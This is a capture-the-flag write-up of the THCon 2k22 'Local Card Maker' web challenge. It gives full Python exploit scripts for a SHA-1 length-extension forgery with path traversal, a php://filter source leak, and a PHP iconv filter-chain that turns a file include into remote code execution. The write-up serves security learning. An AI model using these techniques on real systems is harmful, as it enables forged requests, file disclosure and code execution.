Documenting things I found useful.

THCon 2k22 CTF - "Local Card Maker" Writeup

I participated in THCon 2k22 CTF and amongst the incredible “web” challenges - my favorite was “Local Card Maker” (made by jrjgjk). In this post I’ll describe the challenge and my step-by-step solution.

The Challenge

Description in the CTF portal

Right off the bat we can tell there’s going to be some SHA-1 (“secure hash algorithm 1”) with a 23 character “secret key”. The attached ZIP file contained only the following scan.txt file:


/index.php   ==> 200
/phpinfo.php ==> 200
/change_profile.php ==> 200
/view_profile.php ==> 200

The goal is to read the content of /flag.txt.

Exploring the Site

The site has 2 interesting pages I could find:

View Edit

The edit page sets a cookie (user_data) with the PHP-serialized User object set in the form (along with another cookie - user_hash to sign that data), and the view page displays that information if the hash is valid. I tried modifying user_data in multiple ways but kept getting hash validation errors. I decided to put that aside and try a different direction.

The URLs of these pages - http://challenges1.thcon.party:2001/index.php?page=Y2hhbmdlX3Byb2ZpbGU=&pHash=0171caa8e7a1fe56361fdce865e6e174b3b892f9 and http://challenges1.thcon.party:2001/index.php?page=dmlld19wcm9maWxl&pHash=7b6f8b016f25da478b9f28f878aa3be8cced66fd - both seem to go through index.php for rendering. The page parameter is base64-encoded “change_profile” and “view_profile” which matches the files in scan.txt!

When I tried to access /phpinfo.php, /change_profile.php or /view_profile.php directly I received an error (“Direct access to this page is disable.”).

Theoretically - we can access phpinfo.php if we could put that value (Base64-encoded) in the page query parameter - but without finding the proper hash the validation will keep failing.

SHA-1 Exploitation

A quick Google search led me to this article which seemed like the perfect solution - if I have data and SHA-1 hash on it with a salt prefix (of known length) - I can append data to it and calculate a valid hash, without knowing the salt! To understand this section better - I recommend reading the article before proceeding.

I relied heavily on the code from the article nicolasff posted on GitHub to create a script to fetch phpinfo.php:

import struct
import base64
import urllib.parse
import requests

# The code below is based on https://github.com/nicolasff/pysha1 (adapted to Python3) until line 87:

top = 0xffffffff

def rotl(i, n):
    lmask = top << (32-n)
    rmask = top >> n
    l = i & lmask
    r = i & rmask
    newl = r << n
    newr = l >> (32-n)
    return newl + newr

def add(l):
    ret = 0
    for e in l:
        ret = (ret + e) & top
    return ret

xrange = range

def sha1_impl(msg, h0, h1, h2, h3, h4):
    for j in xrange(int(len(msg) / 64)):
        chunk = msg[j * 64: (j+1) * 64]

        w = {}
        for i in xrange(16):
            word = chunk[i*4: (i+1)*4]
            (w[i],) = struct.unpack(">i", word)

        for i in range(16, 80):
            w[i] = rotl((w[i-3] ^ w[i-8] ^ w[i-14] ^ w[i-16]) & top, 1)

        a = h0
        b = h1
        c = h2
        d = h3
        e = h4

        for i in range(0, 80):
            if 0 <= i <= 19:
                f = (b & c) | ((~ b) & d)
                k = 0x5A827999
            elif 20 <= i <= 39:
                f = b ^ c ^ d
                k = 0x6ED9EBA1
            elif 40 <= i <= 59:
                f = (b & c) | (b & d) | (c & d)
                k = 0x8F1BBCDC
            elif 60 <= i <= 79:
                f = b ^ c ^ d
                k = 0xCA62C1D6

            temp = add([rotl(a, 5), f, e, k, w[i]])
            e = d
            d = c
            c = rotl(b, 30)
            b = a
            a = temp

        h0 = add([h0, a])
        h1 = add([h1, b])
        h2 = add([h2, c])
        h3 = add([h3, d])
        h4 = add([h4, e])

    return (h0, h1, h2, h3, h4)

def pad(msg, sz = None):
    if sz == None:
        sz = len(msg)
    bits = sz * 8
    padding = 512 - ((bits + 8) % 512) - 64

    msg += b"\x80"  # append bit "1", and a few zeros.
    return msg + int(padding / 8) * b"\x00" + struct.pack(">q", bits)  # don't count the \x80 here, hence the -8.

def sha1(msg):
    # These are the constants in a standard SHA-1
    return sha1_impl(pad(msg), 0x67452301 , 0xefcdab89 , 0x98badcfe , 0x10325476 , 0xc3d2e1f0)

# "Local Card Maker"-specific implementation starts here:

def sha1_bytes_to_str(result):
    return ''.join([hex(x)[2:].zfill(2) for x in result])

def get_h_values(hash_string):
    # Divide hash_string to 5 ints, 4 bytes each
    return [int(hash_string[i*8:(i+1)*8], 16) for i in range(5)]

# "view_profile" taken from site ("page" query parameter)
block_1_buf = b"dmlld19wcm9maWxl"
# Hash taken from site ("pHash" query parameter)
block_1_hash = b"7b6f8b016f25da478b9f28f878aa3be8cced66fd"
block_1_h_values = get_h_values(block_1_hash)
# taken from description of challenge
salt_len = 23

# "aaa" is padding, since the previous SHA-1 block contains the length at the end which is parsed by PHP as Base64 data.
# I align to 4 bytes in order for the appended path to be parsed correctly.
block_2_buf = b"aaa" + base64.encodebytes(b"/.././././././././phpinfo").replace(b"\n", b"")
# Pad this second block, use a custom size with additional 64 bytes to account for the first block (which is always padded to 64)
block_2_buf_padded = pad(block_2_buf, len(block_2_buf) + 64)
joined_buf_hash = sha1_bytes_to_str(sha1_impl(block_2_buf_padded, *block_1_h_values))
# Add 23 "A"s to simulate the SHA-1 block creation with the salt, but remove the salt since it'll be added by the server.
joined_buf = pad((b"A" * salt_len) + block_1_buf)[salt_len:] + block_2_buf
encoded_joined_buf = urllib.parse.quote_plus(joined_buf)

print(requests.get("http://challenges1.thcon.party:2001/index.php?page=%s&pHash=%s" % (encoded_joined_buf, joined_buf_hash)).content)

In the code above we use the “view_profile” page (encoded as dmlld19wcm9maWxl in Base64) along with the salted hash (7b6f8b016f25da478b9f28f878aa3be8cced66fd) from the site URL. We pad that to a SHA-1 block (64 bytes including the salt, first byte after data is 0x80 and last 2 bytes are length) and add a 2nd block: aaa + base64("/.././././././././phpinfo").

We add 3 bytes ("aaa") because the last byte of the previous SHA-1 block (as you can see below - 0x38 in yellow) is identified by PHP as a Base64 data byte. Aligning that to 4 bytes makes the following Base64-encoded string correctly readable (since Base64 is read aligned to 4 bytes).

The result joined_buf which we were able to sign (before URL encoding) is:

The first part (green) is the original Base64-encoded string (containing “view_profile”). The red 0x80 is the end-of-string marker added in SHA-1. Afterwards, the white 0x00 bytes are padding to complete the first chunk to 64 bytes (taking into account that 23 bytes were also used for salt and 2 bytes are used for length). The yellow 0x01 0x38 is chunk length in bits. It equals 0x138 = 312 bits = 39 bytes which is calculated by: len("dmlld19wcm9maWxl") + key_length = 16 + 23 = 39. The next 3 blue-colored 0x61 bytes are the padding I mentioned previously to align our Base64 string for PHP. The rest of the purple bytes are the Base64 payload.

When PHP receives this payload with a valid hash - it parses the Base64-encoded path as: view_profile<unprintable characters>/.././././././././phpinfo - which will be resolved into phpinfo and appended by the app logic with .php. Now we got to read what’s in phpinfo.php!


If you’re unfamiliar with phpinfo() - it’s a built-in function that prints useful information about PHP and the environment it’s running on. Here’s how it looks like when running from our exploited URL (phpinfo.php simply calls phpinfo()):

Within this page I found a good lead - the key used as the SHA-1 salt! The key was shown here because it’s defined as a PHP variable:

But this key isn’t enough to retrieve the flag from /flag.txt - we can’t load a .txt file since the index.php loader code appends .php to every Base64 payload we give it.

Bonus - Leaking index.php File Contents

I wanted to make sure I understand how index.php works internally, so equipped with the secret key I leaked the content of index.php:

import base64
import hashlib
import requests

php_file = b"index"
path = b"php://filter/convert.base64-encode/resource=%s" % (php_file,)
key_salt = b"Thcon_SuP3r_S3cr4t_K3y!"
buf = base64.encodebytes(path).replace(b"\n", b"")
buf_hash = hashlib.sha1(key_salt + buf).hexdigest()
buf = buf.decode()

print(requests.get("http://challenges1.thcon.party:2001/index.php?page=%s&pHash=%s" % (buf, buf_hash)).content)

The result is Base64-encoded index.php. Here it is after decoding, to better understand how this challenge works:

$safe_handler = new IntegrityHandler($_SERVER['SECRET_KEY'], 'sha1');
define("LOCAL_ACCESS", 1);

function createHeaders($pArray, $handler){
	echo '<a href="/"><li>Home</li></a>';
	foreach($pArray as $p => $v){
		echo "<a href='/index.php?page=" . base64_encode($p) ."&pHash=" . $handler->secure_data(base64_encode($p)) . "' /><li>$v</li></a>";


	<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
	<link rel="stylesheet" type="text/css" href="css/style.css">
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<div class="headers">
		<div class="inner_headers">
			<div class="logo_c">
				<ul class="nav">
	createHeaders(array('change_profile' => 'Edit', 'view_profile' => 'View'), $safe_handler);
	<div class="blank_space"></div>

	if(isset($_GET['page']) && !empty($_GET['page']) && isset($_GET['pHash']) && !empty($_GET['pHash']))
		$page = $_GET['page'];
		$hash = $_GET['pHash'];
		if($safe_handler->handle($page, $hash))
			include(base64_decode($page) . '.php');
			echo "<h2>Integrity verification failed...</h2>";
	<h1>Welcome to the profile editor !</h1>
	<p>Here you can create and edit your profile.<br> A card will be created for your Thcon22 participation.<br> We hope you will like the rendering !</p>

Now we know for certain how files are loaded - include(base64_decode($page) . '.php'). We need to find a way to load /flag.txt even though .php is always appended.

Getting the Flag

When I participated in hxp CTF 2021 we faced a similar problem, and I remember loknop developed a creative solution using only PHP conversion filters passed to include() to achieve RCE (which is much more than what we need here - reading file content, but will work!). I wrote the below solution to adapt the method to this challenge:

import base64
import hashlib
import requests

# Based on https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d (until line 52):
conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'

# Simple but does the trick
command = "cat /flag.txt"

base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"

for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"
file_to_use = "index"

final_payload = f"php://filter/{filters}/resource={file_to_use}".encode()

# "Local Card Maker"-specific implementation starts here:

key_salt = b"Thcon_SuP3r_S3cr4t_K3y!"
buf = base64.encodebytes(final_payload).replace(b"\n", b"")
buf_hash = (hashlib.sha1(key_salt + buf).hexdigest())
buf = buf.decode()

print(requests.get("http://challenges1.thcon.party:2001/index.php?page=%s&pHash=%s&0=%s" % (buf, buf_hash, command)).content)

The result contained the flag Thcon22{_Php_&nd_Ap@che_R000ck5$$_} - I guess the original solution should have used Apache? 😅

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